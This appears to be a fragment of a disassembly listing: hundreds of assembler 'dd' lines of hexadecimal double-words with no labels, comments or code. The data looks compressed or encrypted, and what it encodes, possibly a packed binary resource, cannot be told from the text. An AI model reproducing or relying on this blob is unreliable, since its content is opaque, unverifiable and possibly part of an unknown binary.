dd 84823250h, 0A8AB1AADh, 29659002h, 4C79FE00h, 5CD931DDh
dd 32F53A10h, 1FC2354h, 5A34044h, 0B00828E6h, 0B4043C0h
dd 561505D9h, 0BD58282Ch, 10567C41h, 5C6C9458h, 68049E46h
dd 0B0F20E65h, 0CD1A3490h, 41587875h, 0CB0805E4h, 344BA203h
dd 27FCDEDh, 0CC1AD220h, 48E0DACAh, 3AE2F106h, 4910C4A0h
dd 0D53EEF00h, 0DA702928h, 42781Bh, 0A57662ACh, 22C285B6h
dd 80A33C3Bh, 7DD5EBB7h, 0E2BC56Ch, 94536F9Ch, 1FBB8FFFh
dd 0B0F226E0h, 61FB157Ch, 3592F098h, 5107E67Ch, 0B92C2523h
dd 5B24D240h, 0FD96008Eh, 38B38FF2h, 0B674E73Ah, 78216260h
dd 9E9516h, 77AF1809h, 65912256h, 2CA0FD0Ch, 1026026h
dd 6D23BBF7h, 8E53E6B3h, 0DA0FC68h, 48A02046h, 38BE2010h
dd 28B0C41Eh, 0ABCF0CA0h, 0D019216Eh, 645F020h, 7B2D2408h
dd 0B20741D6h, 6711F8FEh, 4F275FD1h, 0BE0831DFh, 0E4D61421h
dd 0A000AF71h, 7295FE4Bh, 41E290CEh, 8088A0A2h, 52ABD10Ch
dd 1FF0705Ch, 888E63h, 753670F1h, 0CA3D840Ch, 0D8B61CC1h
dd 8BE9A580h, 38A9527h, 76585BFh, 2C8924Dh, 4200677Eh
dd 530526CCh, 0EA5AA808h, 3CFA077Bh, 0A066581Bh, 0B573EB84h
dd 1E9F2E00h, 0DE1A83A2h, 0A197000Ah, 0A0987220h, 0EDF0F65Ch
dd 0F129AB00h, 0E3486C95h, 0DB30041h, 0AF0181BBh, 1CFC67E4h
dd 85351B1Fh, 0B27EC803h, 1DC7F8B1h, 4A0F017Ah, 0C650A4B3h
dd 0F2189BDEh, 7AE7E041h, 334C00D7h, 0ACA17DFh, 0A41C9724h
dd 2E0CD364h, 71A49A0h, 7D201E96h, 0BD76037Bh, 70A193Bh
dd 0D2BB576Ch, 92F202h, 0BE07A7BFh, 9A701300h, 0B2204CAFh
dd 0DF61063Eh, 814B3FFEh, 0FC344700h, 8CDD9ED4h, 366D0113h
dd 5C441A0Eh, 0E2F8D31Dh, 33000410h, 0CC4C1EB6h, 0D37AC5h
dd 504742F5h, 0C959AD40h, 121CA4Ch, 87DC6B0Dh, 3FE4E6C7h
dd 49310698h, 40E9A4DEh, 90FA3Eh, 2DB24B08h, 0F94323h
dd 36FD9C1Fh, 0C80E4ACDh, 18D7C13Ch, 0B210B672h, 6D0002Ch
dd 159E558Fh, 4B676A1Eh, 97809C18h, 649D937Dh, 80381053h
dd 8B180D62h, 5AB12F60h, 37DB790Fh, 0C110B067h, 0F035881Dh
dd 0FE7380C5h, 74F47600h, 0C37E127Ah, 0D2310032h, 20CA2FE5h
dd 52016A11h, 0C734DD7Fh, 59820EA4h, 0EE4AE649h, 0CF947083h
dd 33E97811h, 40EC731Fh, 21E342F6h, 0CB3CEB4Dh, 25B08190h
dd 0CFBE431Eh, 9FBC9180h, 0B623D3ECh, 5B617160h, 0EF6AB83h
dd 4BB22910h, 0B03003A0h, 1700D3E9h, 5DDD33A8h, 0E44708h
dd 487B4E63h, 85219EEFh, 0ABB1F000h, 0A57C52AEh, 0BBFD014Fh
dd 869DEC36h, 2FF6F03Eh, 0DD25671Eh, 220C9140h, 0E53BDA3h
dd 6E3AE0FDh, 5700558Fh, 0AAB31EC5h, 3A4403Ch, 3E19D3F7h
dd 40CC97DEh, 3618181Bh, 0ACB3182Dh, 86307A14h, 1D8A1024h
dd 41B33963h, 41E390A2h, 0B0571100h, 67A210E5h, 7AB71C7Bh
dd 5530BABFh, 0E4186021h, 0F5DD7C07h, 99E00FB9h, 33EC3D1h
dd 0B6B0BFBDh, 881D4ECEh, 1479C56h, 0D6C11BEFh, 18BA85DEh
dd 5CB2CA88h, 0D0F7E102h, 1F43CBh, 34B73C10h, 91F4C4EAh
dd 0C1B91300h, 0EBECC2Eh, 84E50046h, 554FFE35h, 0ED002B24h
dd 7EAF43A0h, 1817BA97h, 1868C7EAh, 92072F40h, 1550B0A8h
dd 1836E4C2h, 438408DCh, 0D96C1002h, 20625E88h, 106A11D0h
dd 40057A77h, 0B510ECB1h, 240612A0h, 0A045FB8Eh, 0F7756E07h
dd 0AFA1E059h, 2083EC03h, 0AD1DAEACh, 69E4EBF8h, 0AA7951CEh
dd 13001C26h, 8E351468h, 3C5F789Ah, 853C50F0h, 3492200Eh
dd 0EE9BA043h, 2AFC501Eh, 81DEF3A8h, 770C351Eh, 1E942198h
dd 5624926h, 0C1FB4169h, 0B96D6848h, 0A4DA0C79h, 5465C88Ch
dd 45AC64h, 0E210917h, 0FCBBAD14h, 0E32947EAh, 0A10E9858h
dd 1B670892h, 0F8E0B955h, 79C22A2Dh, 806BE1AEh, 3260A318h
dd 9AC0000Ah, 4D0EEF12h, 7F00D99Eh, 870C82AEh, 0A1A02CEh
dd 0B29DEB1Bh, 83C3D214h, 0B955C818h, 0F508A79h, 36B2733Eh
dd 2C7FE640h, 40013AB1h, 0FC5201FFh, 59D08028h, 6E1D0136h
dd 5655A12Ah, 6F4081E8h, 3EED4C06h, 6704B88Fh, 995FA000h
dd 0F12891B4h, 0B00344Fh, 0DDF23FA2h, 7170D8h, 0ACFAE974h
dd 0E0A720C0h, 6744E403h, 933B8E0Dh, 2B5017E8h, 49BB0085h
dd 0E7F4863Ch, 0A11D340Fh, 83048F78h, 0E0D4F5Bh, 93BFE261h
dd 0E0B22AC0h, 0CB01C098h, 9A94D705h, 0F3E135ACh, 9754FFCh
dd 0DB59F57Dh, 68DA2701h, 0E0B45323h, 466903A0h, 0C9F32800h
dd 786D29CEh, 3AAFEE6h, 65F5444Fh, 69A0241Fh, 4179997Bh
dd 28D7C714h, 672060ACh, 1879D8CBh, 59A292B0h, 0C700F124h
dd 0DE54B548h, 0C678C65h, 57215EF3h, 4ADFA10h, 0CF4F1BD6h
dd 0F2A01008h, 0C1002252h, 5D4720A2h, 7C27CDD8h, 4F660090h
dd 48DAE471h, 79629FCCh, 24304C29h, 10752202h, 0B88994D2h
dd 0BE44DC08h, 87DB44D9h
dd 84847744h, 0F0965622h, 7B7F88DEh, 8036D088h, 5300EB8Eh
dd 0FC6B9552h, 0EABEF2CBh, 329D004Ah, 0E517C2E9h, 25007F8Eh
dd 0B784E6ACh, 3CC73AFh, 540BAA1Fh, 9880150Dh, 0DF006C11h
dd 0AD2D3D21h, 0A0954Ah, 72D1A28Fh, 6C542E80h, 0D7E8F500h
dd 0F8B0A39Fh, 82950017h, 0B1E64344h, 0D4ED47A8h, 8A399933h
dd 883E830Eh, 0E87BB55Dh, 3B70836h, 676EFE84h, 1100A6EDh
dd 0A8F705D4h, 12406DA5h, 402474B9h, 0BE93CC38h, 34012E68h
dd 1C9112A9h, 0AC20433Dh, 0B5C900CBh, 2A90059Eh, 0E30039E0h
dd 17FE38CDh, 5828F6B0h, 0E20092BDh, 452BF47h, 54070F53h
dd 7D4468E4h, 202276B0h, 0F82F0C99h, 94F037BAh, 0E3198500h
dd 0D06F14BBh, 67050132h, 5E6228C9h, 8EE6E00Bh, 0C73E9300h
dd 975A20FEh, 2E1C71EDh, 6AB5FDh, 9282887Bh, 1D6096B9h
dd 8E625EC9h, 67280250h, 344A5615h, 6BD7C4A0h, 3E00E3B0h
dd 1AAF5AEFh, 0E63642Eh, 0DC108D1Eh, 827BFA20h, 6C07B80Eh
dd 0F5EC22Fh, 69A04697h, 36CD92h, 0CF0C4A19h, 50564CEDh
dd 4284E79h, 0D73AC072h, 2FA00013h, 28DAE1C1h, 233A0098h
dd 4D119F1h, 2D00AA3Fh, 15976B33h, 4D5E69h, 6613ECF5h
dd 24DA9AF6h, 0BE180700h, 37253263h, 0E1B739F8h, 82FC1D1Fh
dd 0AFF2E853h, 0F4A0A441h, 270041E2h, 0E46A6C2Eh, 1D59DA67h
dd 0AE5BE35Fh, 0FCCF009Dh, 534A7B97h, 89313700h, 0FAB9A9EDh
dd 35796Eh, 0BBA8DF77h, 2604B14Eh, 0ECAEE500h, 0B3508DC2h
dd 0D2E3004Ch, 28D6F5E2h, 5A125FC5h, 7C1EE09Bh, 54C9A947h
dd 0F7B8E160h, 33EF899h, 43E87802h, 0A8D49EAh, 8C74D0h
dd 0A286DE33h, 7E004A13h, 0CBC16115h, 1C0AC3ECh, 406509ACh
dd 9A99954Bh, 2500A14Ah, 4CFAD7EDh, 1A9177Bh, 0C6662174h
dd 35E03AD8h, 8848FE24h, 96004A58h, 8FAF84D0h, 0EACB2CBCh
dd 93B90077h, 0FF64262Bh, 290E447Ah, 20C66588h, 0C5D78261h
dd 0CB720143h, 170297ACh, 7589E0FDh, 654BD300h, 0CFC624D1h
dd 479218C3h, 0A70ED893h, 0EF01CAF8h, 18464FBEh, 34F07B6Dh
dd 2A90099h, 0A6C9F875h, 78009047h, 8AE041Ch, 54F631h
dd 14ECF1F7h, 0A862604Dh, 30C6ED00h, 9D1990E9h, 0F2773Ch
dd 5D5313ABh, 0D7D018AFh, 7369D313h, 0FA2F0700h, 0FA859D0Dh
dd 0FD2D014Fh, 8D22844h, 439C402Ch, 0FE4CC68Fh, 73A70F14h
dd 9AF4C106h, 70C0FC11h, 2D770076h, 7AF81C0Eh, 0CE8DD0Fh
dd 798B2100h, 2BCFA1E8h, 6E900061h, 8D5D438Fh, 667ECCF2h
dd 85A43000h, 8042EB50h, 6B0E80FCh, 15D0D31Eh, 72517CC3h
dd 1DC8A83Eh, 4C6900B2h, 0F90E3D97h, 790021A5h, 0F3323706h
dd 2A9F42h, 958DD676h, 0E1914915h, 0BDD15F04h, 8C018A6h
dd 7D0A20h, 60AE1EF8h, 0E62FE805h, 9DE8C748h, 0FC00A7ACh
dd 4CAD42F2h, 0EF5426E7h, 0E0EE0040h, 0F751989Ah, 3802B890h
dd 2B79808Eh, 0EA1C4018h, 0A7F61D86h, 0B3E3C10Eh, 6466B267h
dd 38108348h, 340F1671h, 768063F2h, 0F13C914Fh, 1C5BA00h
dd 9252B40Ch, 3598008Ah, 0D6552310h, 2207645Eh, 0AA746207h
dd 7DB0E630h, 0B81B7F3Eh, 0B7101h, 0EE03F250h, 62FC5B83h
dd 66D82900h, 4A2BDC58h, 0B9724830h, 0F7E87600h, 0E99624D4h
dd 0A37B5700h, 7DFD29B6h, 0C67800EDh, 0AD984DFh, 0CBE0E7F2h
dd 1419400h, 0BDB3A2B6h, 9B071D1Eh, 7391C1C2h, 3081DB9Fh
dd 0AE024158h, 94B07178h, 3199C0FCh, 0D93A008Dh, 0BBF254C3h
dd 7C035C50h, 761FD0FAh, 0C26FD0AAh, 6B90981h, 0B900A5FCh
dd 0C7741560h, 0DE00ADE0h, 59228DA7h, 23FEFBh, 94BA7BEEh
dd 7198096h, 0C6F1CF01h, 2DE6C9D3h, 0E901DCh, 0A3812C95h
dd 904577Bh, 0AE0A3E00h, 27C6AA4Fh, 99AB07CCh, 0B0483592h
dd 1AA44756h, 0EC16047Fh, 1400C131h, 2BE2B0EBh, 556C00C4h
dd 185EF692h, 0A03FD07h, 82CA4F88h, 4B8A8DDh, 9D6600BDh
dd 0F1B17CE7h, 0A6004DA5h, 0F7C50F72h, 405C5158h, 820F12F3h
dd 61D4F55Fh, 0D23674C8h, 0BCEEF0h, 3B66D503h, 49536AD9h
dd 91E24D00h, 0A87A1EDBh, 0F77600E3h, 8CC1B130h, 88023506h
dd 595C45ABh, 8464401Bh, 509E4DC3h, 7B699200h, 4750FC1Fh
dd 67520C12h, 97C03C00h, 0F4CCCC1h, 0FB4A418Eh, 8579BAE0h
dd 0B6EC3BC3h, 0DCAF0800h, 73AA1B7Ch, 0E9510057h, 59D9C90Dh
dd 0D7F25563h, 0DBC3FF00h, 46A491EDh, 78E098B8h, 0B23000E2h
dd 49EFE443h, 2000CDA0h, 8D1DD848h, 3B946B3h, 9E5B03F4h
dd 5AE08940h, 0E313F634h, 0D8076961h, 0BCF07066h, 0C24159h
dd 0E75816ECh, 0AF1E6ADAh, 2B13EF00h, 267F6881h, 0C198007Ah
dd 7180EADEh, 0D74C8C99h, 0C63031Fh, 87EE12FDh, 0FCDF1F60h
dd 13DE2E5h, 0DE9AF5ACh, 0E03505A1h, 6D14BA04h, 0D874FBh
dd 0B528C5E0h, 1DD27CAh, 0CE45DCB3h, 3021D142h, 0DF1F2D35h
dd 5101EB68h, 4EDB1106h, 6013FDE4h, 0EE4B110Ah, 2E00BD60h
dd 20E85CB1h, 5F165DAh, 92FC5703h, 80C00EA8h, 0D6109E0h
dd 0A008C4Eh, 242107BAh, 0EC7B8644h, 0F2C80C71h, 0B3DC3D9Fh
dd 22911613h, 41192C00h, 9714A3h, 1BB93A17h, 86657C15h
dd 22C0AF50h, 0FDF32D10h, 0F9F4C900h, 5733AD4h, 46053072h
dd 0DD0B29D1h, 7574B0C1h, 0BA2BF4h, 8547E945h, 1DE562F9h
dd 0D9816100h, 25CDA372h, 0C8BABFh, 0F75FB830h, 38D20806h
dd 0B29AF100h, 4FD68C9h, 46ED0065h, 39AD1DA3h, 9E007334h
dd 0AE803EC3h, 0EA7EA896h, 32C0794h, 0F6CF6BCCh, 0EC02A41Dh
dd 470871CEh, 0A22BC025h, 24731C29h, 9B19800Dh, 53C88879h
dd 0D4AE6313h, 262AB000h, 790A4FC6h, 55BE007Fh, 7857C51Dh
dd 651C229Bh, 0E6C0DE6Ch, 66F8682Ch, 76C8928Bh, 3E80001Ch
dd 0B8225270h, 87009FF1h, 0C21D7496h, 0E6CF1698h, 47A105F0h
dd 384EF2h, 3C4B799h, 0FA311EE8h, 0A4538043h, 7DF4EEE6h
dd 35663DE9h, 927E5580h, 6A774AAh, 0F0C7AF00h, 0CB2154ECh
dd 814A39E6h, 64CC7B00h, 0C6FFF5EAh, 6D88AE00h, 0D7DD0241h
dd 812400E7h, 0DA9315Dh, 0EB003311h, 78F36336h, 9D43B96h
dd 23BC64CFh, 225C2481h, 9A9CD052h, 8E486A3Fh, 0FC1204F6h
dd 5E4E7C07h, 0FAC05BD0h, 0D1FCB8h, 0E1BA40F0h, 8018582Fh
dd 894FAD0Bh, 4B6CA032h, 0E5201B8h, 5DF8E219h, 5F7C4A81h
dd 0A1E0E71Dh, 0D30F279Ch, 60BCFAE8h, 46A31E61h, 40670045h
dd 35B060D2h, 1700FE90h, 4E37E5BEh, 0B0D0EC10h, 6AA10068h
dd 65DCFA6h, 37D576Eh, 4D827B00h, 0C95067CDh, 890D60D8h
dd 8F044046h, 0FE5B6D2Eh, 38209802h, 4894C6AFh, 0CA06DADDh
dd 0A85F7E45h, 89C58C01h, 17BB739Fh, 0AA832FEDh, 0A5E5AAC0h
dd 3C9592A0h, 0CEAC9E01h, 616FDFD8h, 0E7300C38h, 94D1AA51h
dd 751CCF00h, 731599A8h, 49A500DAh, 0FB1E8DB7h, 667284D2h
dd 0DF1936EAh, 1CB18B87h, 9367D8h, 48223F44h, 535C9E17h
dd 8F817F04h, 80D292DBh, 0BC88EBB2h, 0FEBA880h, 39C8244Fh
dd 95033BD4h, 3828F802h, 0E3B04BE3h, 96586C31h, 0A19D0041h
dd 7CC88CBDh, 78DC60AEh, 0D7EF6E46h, 0BE417D3Eh, 1F3460B4h
dd 0F4438B84h, 59201D2h, 2F14E080h, 0DBAA7010h, 3200D17Dh
dd 0C217AE88h, 28A3B4h, 1B6F29E3h, 6D0D8139h, 4950E100h
dd 22CCABB1h, 53410E96h, 9C4E5A5h, 80A4E020h, 605E9914h
dd 0C7D90380h, 9018124Bh, 0AB66E0h, 0BA26A4BBh, 0FDC21C4Ch
dd 0DBE2C60Ch, 52EAB80Ah
dd 0D700B83Dh, 0C58F28E5h, 0A0B8BC3h, 0AF6E58h, 0ED83C894h
dd 6B3901DAh, 643FA285h, 0F7B850D6h, 0CA30FF3Ah, 6332821h
dd 0B79B007Ah, 0DE364CD3h, 7126466Fh, 16805C31h, 8E2BF45Ch
dd 3B2DFC87h, 0B1B88098h, 1CA6AAD0h, 0C04AE105h, 1D310A39h
dd 30013C6Eh, 268663C6h, 0C0BEC769h, 5B088000h, 270750F7h
dd 0A701B0FEh, 6C3765CEh, 0B7E48228h, 8C1D18ECh, 1022A94Eh
dd 13E50F00h, 95AABEEFh, 0D75500D5h, 5DB32C66h, 740C902Fh
dd 468E7A0Ah, 18200ED2h, 0E40029E9h, 108A8BAAh, 3705A48h
dd 0A1959794h, 3F3AD0A5h, 8E6500E9h, 0A30C3361h, 76006C8Bh
dd 17D06FF1h, 84D9EDh, 0E61A7C55h, 148BFA05h, 0A141DCA8h
dd 0D6EBBF05h, 94606851h, 50DB3C5h, 6F5C1FBCh, 0DB0CA0ABh
dd 5500F2F6h, 0C9A5035Ah, 1A8D1Eh, 0B045843Dh, 68669DA4h
dd 8927303h, 0C0DD0D4Eh, 1448977h, 78FBEBCAh, 2C10543Eh
dd 88651FD0h, 2EF3B900h, 48AEBC2Bh, 0C8052015h, 306EAAA9h
dd 9FB91F48h, 48621700h, 0B7F2A304h, 24360235h, 5EEF551Dh
dd 27C03040h, 0A3919802h, 0E3A46A26h, 8D85C1DEh, 16CED5F4h
dd 20FFEBDDh, 590A6584h, 7BF33600h, 0BD0304E8h, 0D23501EEh
dd 29895E55h, 31B84049h, 0C377109Ah, 0C948DFB0h, 3EDD0FFEh
dd 0C2D82EFFh, 6A17BD3Dh, 0C538B848h, 0CD921368h, 5D8935Ah
dd 82C849D3h, 4B00EFB3h, 4CA15E9Ch, 554DE8h, 0D58E5C93h
dd 0AF96C7FEh, 99010DFAh, 0FC237274h, 0EC70C1E6h, 67F00022h
dd 718EF18Bh, 0AC4DFFCEh, 0A0D80104h, 8F4F1F68h, 0BCB9D8h
dd 0A8D1F116h, 6AE4F9C5h, 0F7B88A0Eh, 3B172357h, 0D4C1B86Fh
dd 0DC732Ch, 0FE684CF9h, 543DBF9Dh, 800CEC38h, 0F211F99h
dd 3AA1E167h, 4100F074h, 97DD22DFh, 0AA0799EDh, 7508C8D3h
dd 378123D1h, 681824h, 3B61F03Ah, 2888A10Eh, 0D57A8BF4h
dd 7E0C3001h, 19D2ACEDh, 1951AD8h, 0CC7243BDh, 0EEB60799h
dd 0E821D089h, 34D8D01Dh, 481D589Ch, 9D02F3B7h, 0E0B4F760h
dd 19DB1Ch, 0E9C3EA85h, 6BC454Ah, 1DB5D900h, 3E21485Eh
dd 4F3F008Bh, 701A1273h, 0FA0072E9h, 929EAF08h, 0FDDE2F6h
dd 7F6B529Ch, 0F8FEB1C2h, 698BDDC0h, 0B6028302h, 402DC7EDh
dd 739A0A9Ch, 0F4D14C27h, 0EACE5C00h, 0FED9023Fh, 538FA81Fh
dd 0DC3A3242h, 26704860h, 7B070742h, 1089DF7Eh, 0CDDD3454h
dd 0AE73D000h, 4BA53979h, 16CC1395h, 143C9886h, 7FB8EF01h
dd 0F62A8C7Eh, 97D874h, 0A003BB68h, 74590BEAh, 24845Ch
dd 0A530C36Ah, 0C6BA6h, 42F03F58h, 0F17D4BC8h, 717BBC92h
dd 0AA345D75h, 62E810FFh, 19F9007Ah, 0A43A2897h, 0A00D3D2h
dd 91693CA9h, 73889EAh, 9A95F6B0h, 0F32212DDh, 4DE680E0h
dd 0B28C4C00h, 2FB3B2Ah, 0CC493F1Dh, 7F52F780h, 2439ECCEh
dd 0D30020BAh, 2D4413CAh, 0E49ECDB2h, 68420637h, 10CE7356h
dd 1CF88F2Eh, 0E7873182h, 7ACCA2CAh, 0BF116084h, 489771FBh
dd 0C10284AFh, 0DEDB6B2Ch, 87B3A6C1h, 22CFEC22h, 678C8AF0h
dd 0FFEA01BDh, 785BAF19h, 6F7C3415h, 2812E724h, 7611D580h
dd 1C95CD20h, 2AD9D2C3h, 0C4C8A994h, 77D8FFCh, 0E44EB0B3h
dd 0E940CE10h, 24CC9A73h, 66C0A000h, 83D308B5h, 82160197h
dd 296FE85h, 0AE98895Eh, 0C330803Fh, 39DA6F8Dh, 0A2804C59h
dd 84505D95h, 9A129F3Ch, 52000B4Ah, 9EC1A777h, 5FB30022h
dd 0E0EA4278h, 0D80066F6h, 5381876h, 0C09D9031h, 67C725C1h
dd 0ED018AE4h, 0AC773A1Eh, 6AC47A80h, 6EDE000Ch, 0EA509E68h
dd 4C05B44Ah, 0CFE9474Bh, 6048DE82h, 939860h, 0F71E62BEh
dd 706DBA2Eh, 19E40700h, 5D4A6BBCh, 0B9A93E81h, 0D3DB3F00h
dd 633576EDh, 317827h, 71411BE0h, 736700B5h, 6AE76EFEh
dd 0BA3FEE20h, 77858084h, 404B523Dh, 6DF414B9h, 4C12C4F9h
dd 0E058871Fh, 27156768h, 0CDED4013h, 9472F000h, 0F202128Fh
dd 7B4977F0h, 7E4F16ADh, 63C0039h, 4DD5EF26h, 73511A00h
dd 9E3B5D3Ah, 785760BCh, 86DCB120h, 6EA5801h, 0AEEE26F8h
dd 44FF5030h, 11133D90h, 3E074F4Bh, 7EA0AC5Ah, 0A143B3h
dd 0ED55AB63h, 85F3DF6Ch, 0E3DA6000h, 91AEB15Dh, 82560052h
dd 0B615A230h, 0FE005A4Fh, 0B3429F7Fh, 0C6FB8Fh, 822AF332h
dd 0C5F0CC6Bh, 34C88D00h, 0A8C42709h, 24157BE0h, 0C3A35h
dd 0CF18A3B6h, 9B17FD2Dh, 880003C5h, 0CB3F5614h, 4D653F51h
dd 0DD116D80h, 6C99CDE5h, 0F0C4758h, 242ADFh, 9AB92244h
dd 0FFDE0931h, 0CC810B23h, 0DC0CC9EBh, 0DC0006C4h, 2FFAF120h
dd 1D9C11C2h, 52794Ch, 2633188Ch, 0BD00A395h, 0A8D6F915h
dd 347132h, 0D9F67DCFh, 0FC1D394Dh, 48B4C405h, 68C082F7h
dd 16BBACh, 90122340h, 0EEABA06Eh, 0E75BED07h, 6CB0DB5Fh
dd 58D083h, 337F5E77h, 0B519BD2Dh, 6F3C0EE2h, 0CB7B8131h
dd 0C542B7B4h, 11098C3h, 0DAA616ECh, 0F0FCC47Ch, 43B83264h
dd 1CBBC74Ch, 524463D3h, 0D4974F34h, 93E300D9h, 0EEF5D706h
dd 24830084h, 57C2EC09h, 4101D087h, 4E343A10h, 5FC8048Fh
dd 6B0B05FCh, 638A3Bh, 93D2498Dh, 11C06EA3h, 0B2602BFFh
dd 0D3317DC1h, 0E6570018h, 0B78B390Fh, 66C68400h, 0AADAD038h
dd 0B1B93A45h, 832D6CC9h, 0F171490h, 480E08F4h, 0A03AA686h
dd 0ED812C46h, 41681DFEh, 0B730F949h, 4EA467C8h, 709D4724h
dd 3D98C701h, 22D4AFE0h, 3B697337h, 150734FBh, 300616D8h
dd 9362B5F7h, 0CA1D7400h, 0E22672ECh, 0F0B21764h, 9C88000Dh
dd 0C8FD41BDh, 179B5700h, 3807308Eh, 0BC7D9Dh, 0E7FC773Ch
dd 0A3D8E4AAh, 321C2909h, 9DE40049h, 53CD1CEh, 1DB3FEE9h
dd 0D253C099h, 5FE23EE3h, 2E85AA03h, 825D3BFDh, 0DBC86015h
dd 48DF7027h, 0FC034064h, 7DA8ECBCh, 0BBF51100h, 19D7C46Fh
dd 0EC9AEEB4h, 5AC800E5h, 6DF6207Ch, 0A00206ABh, 0EF080E13h
dd 85A3403Ah, 17EEF6BBh, 802391D9h, 6E45CF04h, 2E21FC20h
dd 24EA6272h, 556800F3h, 0CCF73296h, 75E6E100h, 0A319B40h
dd 6DA900FDh, 3E3BB285h, 43014E1Fh, 11D19213h, 8220816Ch
dd 0A5363B28h, 2917216h, 790E24C8h, 9B4E638h, 0D716D1CCh
dd 6197C087h, 3CB37374h, 5CD92EB4h, 80F94C60h, 0A18007Bh
dd 74E28781h, 0A50032A1h, 0BDED1528h, 0AB6E46h, 4AE7228Ch
dd 37CCA033h, 9600B6ECh, 2774F017h, 2E2213Bh, 2EEBEA0Eh
dd 98C0E9F5h, 700338Ch, 0DCDEDD83h, 14AB385h, 93D17D29h
dd 2AD49F8Eh, 4356F400h, 0C637DBh, 140CE6CAh, 0F7DE4B19h
dd 907E8503h, 0E0824E0Dh, 0E10E0AC0h, 0E6F45B71h, 4755008Ah
dd 0FFA773B7h, 0C500361Eh, 0EF46E733h, 5E684B87h, 0C05C1DBCh
dd 0D212D80h, 0F1300CE0h, 0F9B886DCh, 37450FE7h, 0EAC09108h
dd 3903DA0Eh, 34432A0Fh, 525F8970h, 6F0B03BCh, 0F2918FAFh
dd 824C5580h, 0DAA5F500h, 6D0C9EE5h, 0D48B0231h, 96BD05D1h
dd 0BA006CF8h, 53D56217h, 0C1ABE6CCh, 0C5618390h, 26C360A7h
dd 65DDC31Fh, 802660Ch, 69910757h, 5E82ABC6h, 696A28Eh
dd 21011797h, 25488B17h, 0D8A51440h, 5727CF1h, 75C8E288h
dd 1020D68Ah, 0A4A7E107h, 4B8066F2h, 3050278h, 0C64982C0h
dd 26A310D2h, 902D491Fh, 1F298A03h, 0B690114h, 867C72DDh
dd 503CCF7Ah, 8A320652h, 1392DFFh, 0E6011279h, 0E52A635Dh
dd 237D0F5h, 0A2C06D07h, 0D8D1578Ch, 0ACD8B6EAh, 2FAA002Bh
dd 9F29AE3Ch, 280041A6h
dd 6382147Ah, 0E0FD49h, 0C6275CC2h, 0CDC4E4Ch, 32E74400h
dd 3BCDA2D8h, 0FE7E002Fh, 8420B87Ch, 0F0A8BF95h, 0EF025FEAh
dd 53F40881h, 0C875E314h, 3920B91Ah, 0F7318F2Ch, 60DF5118h
dd 7930AEACh, 58FAC06Eh, 24383089h, 0C7A3A620h, 20D4EB08h
dd 0DDCD8157h, 80555173h, 0C27C7711h, 0A060EFDFh, 0CC50D2A0h
dd 1215108h, 76C27A00h, 7E28BEFCh, 88146003h, 0FB809E34h
dd 37AEEA80h, 0C768E78Fh, 18C406BEh, 9821073Bh, 45D982B5h
dd 361516EBh, 2F00328h, 830EDE0h, 164421B8h, 2D721C80h
dd 0F9348183h, 0C8D954D3h, 420767D2h, 0B4147166h, 0A28F7B93h
dd 74D88138h, 0C0F856D0h, 3249006Ch, 0F1721EE2h, 0FB1C0416h
dd 0ABDD0A3Dh, 80F54A4Bh, 0A94D1B54h, 4807073Fh, 4C748217h
dd 160F9D10h, 0C0E841D4h, 8FE12B3Dh, 0C0D3E83Eh, 0D41EA321h
dd 9C7CF2FFh, 2759B600h, 7CEE7795h, 981C03E5h, 7193A84Eh
dd 972310Fh, 0DB837D16h, 0A6193EA7h, 28BD1C18h, 2867BA42h
dd 3951926Fh, 75733340h, 0B3016374h, 1877059Ah, 29803A49h
dd 1247E45Fh, 0AC5CB0A7h, 3D096FBBh, 0EBFF2073h, 0B6149847h
dd 872E163Fh, 0BA0606B8h, 0DD1F919Bh, 6718181Dh, 10B311h
dd 16E7C23h, 8C598833h, 348E0A07h, 8F739102h, 0E8B10087h
dd 50B7D0Fh, 700E4BEDh, 8C365DCDh, 38E21AFh, 0AB807D18h
dd 0B2F0F82Ah, 1700E0BFh, 0E2099E22h, 6F4070Dh, 0A7A890E3h
dd 86308163h, 0FCCD414Eh, 0CC3FAEEh, 80881F0Dh, 4000CF19h
dd 0C9F791DDh, 2E1489h, 2D46BF78h, 83717C37h, 771A151Ah
dd 1D980450h, 0F470960h, 18A8A723h, 0E0FC2198h, 0D2D475Ch
dd 70960767h, 0F409F0h, 0A50A62E2h, 4DAC5F73h, 0E6267C00h
dd 6543CC60h, 30B5E854h, 9264C6E1h, 4937BD82h, 22A0414Ah
dd 7593C7Dh, 0ECA40C90h, 0C7622175h, 309331FBh, 4D608590h
dd 0A25FBFE1h, 5576E8BCh, 2CF0E4B7h, 51596765h, 0C33280C6h
dd 0C13905B4h, 26B930FCh, 1CE11695h, 800BBCC8h, 31BF1A28h
dd 0B2ECF7DBh, 0BDA8F20Ch, 61955199h, 0BAA571D7h, 0D05D212Ah
dd 0F02C84FFh, 4A02A5ADh, 40A0A13Bh, 0E105411h, 90A8D02Dh
dd 0B7295280h, 48C8AA4Dh, 0B9FD8h, 97D63D85h, 7A01A3B0h
dd 0D44FAF67h, 0C870E26Bh, 0E56400A0h, 859544CDh, 0BC04363Fh
dd 3A18EA7Ch, 209B8092h, 94714AFFh, 82BB2100h, 0BA23B93Fh
dd 32DB888h, 0E54858F1h, 89F4C87Eh, 0A27C3064h, 0E76BB700h
dd 0DCC42A0Ah, 0F5C31E65h, 0D81F0060h, 0DD61242Dh, 0B4278324h
dd 0B510804Fh, 0A0A507h, 0D782AF0h, 0B8E8DF16h, 4300C698h
dd 1A6A3C64h, 0A4EB83E0h, 0C4D518E8h, 7538302Dh, 67D01106h
dd 3421AA09h, 4050A466h, 497C2268h, 0E6EC9E30h, 0C90D5Ch
dd 0CA5F31CDh, 11158Bh, 748F91DAh, 5B8166E2h, 2AC93B00h
dd 0ED1C4869h, 9C803CD1h, 6D156100h, 51608E38h, 700CCA78h
dd 69133FB3h, 4E0F078Dh, 0A01A68F3h, 0E686698Ah, 0E1CF7403h
dd 85D51F2Ah, 0F3E7043Eh, 100CEF09h, 18B73CB0h, 40F7004Dh
dd 0E85F43C5h, 5A01DACDh, 0D4392762h, 0C3DCB02Ch, 4A7A0C15h
dd 6429436Fh, 2EC640h, 72118E17h, 5DC13406h, 80D69A3Bh
dd 0DA90C7C3h, 16ABC48h, 0B1661368h, 0D4D0355Bh, 951EFEA1h
dd 0A6C0AE21h, 2F6BEFE9h, 7CCE1D8Eh, 92B740AFh, 78642D6Ch
dd 0F7DC3A00h, 0EDC9D354h, 0E97C43h, 0EB60ECB4h, 0E8B1E20h
dd 0C732C600h, 4766DCB0h, 0D7145C4Eh, 0D3F3C300h, 0E993CAC4h
